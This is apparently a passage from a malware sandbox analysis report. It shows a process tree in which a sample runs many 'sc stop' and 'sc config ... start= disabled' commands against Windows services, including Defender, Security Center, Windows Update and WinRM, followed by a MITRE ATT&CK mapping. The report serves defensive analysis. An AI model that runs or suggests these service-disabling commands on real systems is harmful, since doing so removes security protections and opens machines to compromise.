      "sc" config WalletService start= disabled
      4⤵
      PID:7020
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2864
  - - C:\Windows\system32\sc.exe
      "sc" config WarpJITSvc start= disabled
      4⤵
      PID:5524
  - - C:\Windows\system32\sc.exe
      "sc" config wbengine start= disabled
      4⤵
      Launches sc.exe
      PID:5904
  - - C:\Windows\system32\sc.exe
      "sc" stop wcncsvc
      4⤵
      PID:5832
  - - C:\Windows\system32\sc.exe
      "sc" stop WdiServiceHost
      4⤵
      Launches sc.exe
      PID:4256
  - - C:\Windows\system32\sc.exe
      "sc" config WbioSrvc start= disabled
      4⤵
      PID:5816
  - - C:\Windows\system32\sc.exe
      "sc" stop WdiSystemHost
      4⤵
      PID:6132
  - - C:\Windows\system32\sc.exe
      "sc" config wcncsvc start= disabled
      4⤵
      PID:5940
  - - C:\Windows\system32\sc.exe
      "sc" config Wcmsvc start= disabled
      4⤵
      PID:1100
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6392
  - - C:\Windows\system32\sc.exe
      "sc" stop WdNisSvc
      4⤵
      Launches sc.exe
      PID:5172
  - - C:\Windows\system32\sc.exe
      "sc" config WdiServiceHost start= disabled
      4⤵
      PID:1412
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3664
  - - C:\Windows\system32\sc.exe
      "sc" stop WebClient
      4⤵
      Launches sc.exe
      PID:3424
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6104
  - - C:\Windows\system32\sc.exe
      "sc" config WdiSystemHost start= disabled
      4⤵
      PID:4460
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6344
  - - C:\Windows\system32\sc.exe
      "sc" stop webthreatdefsvc
      4⤵
      PID:6708
  - - C:\Windows\system32\sc.exe
      "sc" stop Wecsvc
      4⤵
      PID:2548
  - - C:\Windows\system32\sc.exe
      "sc" config WdNisSvc start= disabled
      4⤵
      PID:2604
  - - C:\Windows\system32\sc.exe
      "sc" stop WEPHOSTSVC
      4⤵
      PID:3104
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2392
  - - C:\Windows\system32\sc.exe
      "sc" stop wercplsupport
      4⤵
      PID:4860
  - - C:\Windows\system32\sc.exe
      "sc" config WebClient start= disabled
      4⤵
      PID:2100
  - - C:\Windows\system32\sc.exe
      "sc" config webthreatdefsvc start= disabled
      4⤵
      PID:6960
  - - C:\Windows\system32\sc.exe
      "sc" stop WerSvc
      4⤵
      PID:5352
  - - C:\Windows\system32\sc.exe
      "sc" stop WFDSConMgrSvc
      4⤵
      PID:2740
  - - C:\Windows\system32\sc.exe
      "sc" config Wecsvc start= disabled
      4⤵
      PID:5652
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1856
  - - C:\Windows\system32\sc.exe
      "sc" config WEPHOSTSVC start= disabled
      4⤵
      PID:1416
  - - C:\Windows\system32\sc.exe
      "sc" stop WiaRpc
      4⤵
      PID:5632
  - - C:\Windows\system32\sc.exe
      "sc" config wercplsupport start= disabled
      4⤵
      Launches sc.exe
      PID:5356
  - - C:\Windows\system32\sc.exe
      "sc" config WerSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4576
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      Launches sc.exe
      PID:1196
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4076
  - - C:\Windows\system32\sc.exe
      "sc" config WFDSConMgrSvc start= disabled
      4⤵
      PID:4188
  - - C:\Windows\system32\sc.exe
      "sc" stop WinHttpAutoProxySvc
      4⤵
      PID:5992
  - - C:\Windows\system32\sc.exe
      "sc" stop Winmgmt
      4⤵
      PID:5720
  - - C:\Windows\system32\sc.exe
      "sc" config WiaRpc start= disabled
      4⤵
      PID:4788
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1900
  - - C:\Windows\system32\sc.exe
      "sc" stop WinRM
      4⤵
      PID:6808
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6832
  - - C:\Windows\system32\sc.exe
      "sc" stop wisvc
      4⤵
      PID:7016
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5844
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:2936
  - - C:\Windows\system32\sc.exe
      "sc" stop WlanSvc
      4⤵
      PID:2816
  - - C:\Windows\system32\sc.exe
      "sc" config Winmgmt start= disabled
      4⤵
      PID:3212
  - - C:\Windows\system32\sc.exe
      "sc" config WinHttpAutoProxySvc start= disabled
      4⤵
      PID:6288
  - - C:\Windows\system32\sc.exe
      "sc" stop wlidsvc
      4⤵
      PID:4476
  - - C:\Windows\system32\sc.exe
      "sc" config WinRM start= disabled
      4⤵
      PID:2988
  - - C:\Windows\system32\sc.exe
      "sc" config wisvc start= disabled
      4⤵
      PID:1388
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6412
  - - C:\Windows\system32\sc.exe
      "sc" stop wlpasvc
      4⤵
      PID:6856
  - - C:\Windows\system32\sc.exe
      "sc" config WlanSvc start= disabled
      4⤵
      PID:3176
  - - C:\Windows\system32\sc.exe
      "sc" stop WManSvc
      4⤵
      Launches sc.exe
      PID:6396
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3596
  - - C:\Windows\system32\sc.exe
      "sc" stop wmiApSrv
      4⤵
      PID:548
  - - C:\Windows\system32\sc.exe
      "sc" config wlidsvc start= disabled
      4⤵
      PID:1784
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2208
  - - C:\Windows\system32\sc.exe
      "sc" stop WMPNetworkSvc
      4⤵
      PID:5528
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3828
  - - C:\Windows\system32\sc.exe
      "sc" stop workfolderssvc
      4⤵
      PID:3804
  - - C:\Windows\system32\sc.exe
      "sc" config wlpasvc start= disabled
      4⤵
      Launches sc.exe
      PID:6456
  - - C:\Windows\system32\sc.exe
      "sc" stop WpcMonSvc
      4⤵
      Launches sc.exe
      PID:6552
  - - C:\Windows\system32\sc.exe
      "sc" config WManSvc start= disabled
      4⤵
      PID:3448
  - - C:\Windows\system32\sc.exe
      "sc" stop WPDBusEnum
      4⤵
      Launches sc.exe
      PID:5104
  - - C:\Windows\system32\sc.exe
      "sc" config wmiApSrv start= disabled
      4⤵
      PID:1972
  - - C:\Windows\system32\sc.exe
      "sc" config WMPNetworkSvc start= disabled
      4⤵
      PID:604
  - - C:\Windows\system32\sc.exe
      "sc" config workfolderssvc start= disabled
      4⤵
      PID:1704
  - - C:\Windows\system32\sc.exe
      "sc" stop WpnService
      4⤵
      PID:404
  - - C:\Windows\system32\sc.exe
      "sc" config WpcMonSvc start= disabled
      4⤵
      PID:1916
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4644
  - - C:\Windows\system32\sc.exe
      "sc" stop WSAIFabricSvc
      4⤵
      Launches sc.exe
      PID:6616
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:468
  - - C:\Windows\system32\sc.exe
      "sc" stop wscsvc
      4⤵
      PID:556
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1876
  - - C:\Windows\system32\sc.exe
      "sc" config WPDBusEnum start= disabled
      4⤵
      PID:3184
  - - C:\Windows\system32\sc.exe
      "sc" stop WSearch
      4⤵
      PID:6064
  - - C:\Windows\system32\sc.exe
      "sc" stop wuauserv
      4⤵
      PID:3108
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3200
  - - C:\Windows\system32\sc.exe
      "sc" config WpnService start= disabled
      4⤵
      PID:2312
  - - C:\Windows\system32\sc.exe
      "sc" stop WwanSvc
      4⤵
      PID:3264
  - - C:\Windows\system32\sc.exe
      "sc" config WSAIFabricSvc start= disabled
      4⤵
      PID:520
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6264
  - - C:\Windows\system32\sc.exe
      "sc" stop XblAuthManager
      4⤵
      PID:3080
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2244
  - - C:\Windows\system32\sc.exe
      "sc" config WSearch start= disabled
      4⤵
      PID:2488
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6568
  - - C:\Windows\system32\sc.exe
      "sc" config wscsvc start= disabled
      4⤵
      PID:5380
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:400
  - - C:\Windows\system32\sc.exe
      "sc" config wuauserv start= disabled
      4⤵
      PID:6584
  - - C:\Windows\system32\sc.exe
      "sc" stop XblGameSave
      4⤵
      PID:6436
  - - C:\Windows\system32\sc.exe
      "sc" config WwanSvc start= disabled
      4⤵
      PID:4260
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6408
  - - C:\Windows\system32\sc.exe
      "sc" stop XboxGipSvc
      4⤵
      PID:2700
  - - C:\Windows\system32\sc.exe
      "sc" stop XboxNetApiSvc
      4⤵
      PID:2788
  - - C:\Windows\system32\sc.exe
      "sc" config XblAuthManager start= disabled
      4⤵
      PID:2056
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4932
  - - C:\Windows\system32\sc.exe
      "sc" stop AarSvc_23508
      4⤵
      PID:6900
  - - C:\Windows\system32\sc.exe
      "sc" stop BcastDVRUserService_23508
      4⤵
      PID:3892
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2616
  - - C:\Windows\system32\sc.exe
      "sc" config XblGameSave start= disabled
      4⤵
      PID:2032
  - - C:\Windows\system32\sc.exe
      "sc" stop BluetoothUserService_23508
      4⤵
      PID:6956
  - - C:\Windows\system32\sc.exe
      "sc" config XboxGipSvc start= disabled
      4⤵
      PID:2232
  - - C:\Windows\system32\sc.exe
      "sc" config AarSvc_23508 start= disabled
      4⤵
      PID:4716
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2004
  - - C:\Windows\system32\sc.exe
      "sc" config XboxNetApiSvc start= disabled
      4⤵
      PID:4144
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1404
  - - C:\Windows\system32\sc.exe
      "sc" stop CaptureService_23508
      4⤵
      PID:708
  - - C:\Windows\system32\sc.exe
      "sc" config BcastDVRUserService_23508 start= disabled
      4⤵
      Launches sc.exe
      PID:3708
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2972
  - - C:\Windows\system32\sc.exe
      "sc" stop cbdhsvc_23508
      4⤵
      PID:4360
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5072
  - - C:\Windows\system32\sc.exe
      "sc" stop CDPUserSvc_23508
      4⤵
      PID:3140
  - - C:\Windows\system32\sc.exe
      "sc" config BluetoothUserService_23508 start= disabled
      4⤵
      PID:3668
  - - C:\Windows\system32\sc.exe
      "sc" stop CloudBackupRestoreSvc_23508
      4⤵
      Launches sc.exe
      PID:1348
  - - C:\Windows\system32\sc.exe
      "sc" stop ConsentUxUserSvc_23508
      4⤵
      PID:2708
  - - C:\Windows\system32\sc.exe
      "sc" config CaptureService_23508 start= disabled
      4⤵
      PID:5400
  - - C:\Windows\system32\sc.exe
      "sc" stop CredentialEnrollmentManagerUserSvc_23508
      4⤵
      PID:2532
  - - C:\Windows\system32\sc.exe
      "sc" config CDPUserSvc_23508 start= disabled
      4⤵
      PID:1980
  - - C:\Windows\system32\sc.exe
      "sc" config cbdhsvc_23508 start= disabled
      4⤵
      PID:4220
  - - C:\Windows\system32\sc.exe
      "sc" stop DeviceAssociationBrokerSvc_23508
      4⤵
      PID:6996
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:7144
  - - C:\Windows\system32\sc.exe
      "sc" config CloudBackupRestoreSvc_23508 start= disabled
      4⤵
      PID:2348
  - - C:\Windows\system32\sc.exe
      "sc" config CredentialEnrollmentManagerUserSvc_23508 start= disabled
      4⤵
      PID:1068
  - - C:\Windows\system32\sc.exe
      "sc" stop DevicePickerUserSvc_23508
      4⤵
      PID:1236
  - - C:\Windows\system32\sc.exe
      "sc" stop DevicesFlowUserSvc_23508
      4⤵
      PID:3956
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5832
  - - C:\Windows\system32\sc.exe
      "sc" config ConsentUxUserSvc_23508 start= disabled
      4⤵
      PID:5184
  - - C:\Windows\system32\sc.exe
      "sc" config DeviceAssociationBrokerSvc_23508 start= disabled
      4⤵
      PID:4784
  - - C:\Windows\system32\sc.exe
      "sc" stop MessagingService_23508
      4⤵
      PID:4632
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3444
  - - C:\Windows\system32\sc.exe
      "sc" stop NPSMSvc_23508
      4⤵
      PID:4024
  - - C:\Windows\system32\sc.exe
      "sc" config DevicePickerUserSvc_23508 start= disabled
      4⤵
      PID:1712
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6108
  - - C:\Windows\system32\sc.exe
      "sc" stop OneSyncSvc_23508
      4⤵
      PID:6132
  - - C:\Windows\system32\sc.exe
      "sc" config DevicesFlowUserSvc_23508 start= disabled
      4⤵
      Launches sc.exe
      PID:6068
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5920
  - - C:\Windows\system32\sc.exe
      "sc" stop P9RdrService_23508
      4⤵
      PID:5168
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3840
  - - C:\Windows\system32\sc.exe
      "sc" stop PenService_23508
      4⤵
      PID:1412
  - - C:\Windows\system32\sc.exe
      "sc" config MessagingService_23508 start= disabled
      4⤵
      PID:6536
  - - C:\Windows\system32\sc.exe
      "sc" config NPSMSvc_23508 start= disabled
      4⤵
      PID:6028
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1436
  - - C:\Windows\system32\sc.exe
      "sc" config OneSyncSvc_23508 start= disabled
      4⤵
      PID:5700
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2136
  - - C:\Windows\system32\sc.exe
      "sc" stop PimIndexMaintenanceSvc_23508
      4⤵
      PID:2828
  - - C:\Windows\system32\sc.exe
      "sc" stop PrintWorkflowUserSvc_23508
      4⤵
      PID:4960
  - - C:\Windows\system32\sc.exe
      "sc" config P9RdrService_23508 start= disabled
      4⤵
      PID:6280
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1744
  - - C:\Windows\system32\sc.exe
      "sc" config PenService_23508 start= disabled
      4⤵
      PID:1632
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2548
  - - C:\Windows\system32\sc.exe
      "sc" stop UdkUserSvc_23508
      4⤵
      PID:5552
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6324
  - - C:\Windows\system32\sc.exe
      "sc" stop UnistoreSvc_23508
      4⤵
      PID:4492
  - - C:\Windows\system32\sc.exe
      "sc" stop UserDataSvc_23508
      4⤵
      PID:6740
  - - C:\Windows\system32\sc.exe
      "sc" config PrintWorkflowUserSvc_23508 start= disabled
      4⤵
      PID:5644
  - - C:\Windows\system32\sc.exe
      "sc" config PimIndexMaintenanceSvc_23508 start= disabled
      4⤵
      PID:6768
  - - C:\Windows\system32\sc.exe
      "sc" stop webthreatdefusersvc_23508
      4⤵
      PID:6896
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5508
  - - C:\Windows\system32\sc.exe
      "sc" stop WpnUserService_23508
      4⤵
      PID:2444
  - - C:\Windows\system32\sc.exe
      "sc" config UserDataSvc_23508 start= disabled
      4⤵
      PID:5076
  - - C:\Windows\system32\sc.exe
      "sc" config UdkUserSvc_23508 start= disabled
      4⤵
      PID:4040
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3552
  - - C:\Windows\system32\sc.exe
      "sc" config UnistoreSvc_23508 start= disabled
      4⤵
      PID:7060
  - - C:\Windows\system32\sc.exe
      "sc" config WpnUserService_23508 start= disabled
      4⤵
      Launches sc.exe
      PID:1752
  - - C:\Windows\system32\sc.exe
      "sc" config webthreatdefusersvc_23508 start= disabled
      4⤵
      PID:5864
  - - C:\Windows\system32\sc.exe
      "sc" config RmSvc start= disabled
      4⤵
      PID:2920
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6448

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:1260

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1984 -s 716
1⤵
PID:1168

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Indicator Removal

T1070

Clear Persistence

T1070.009

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry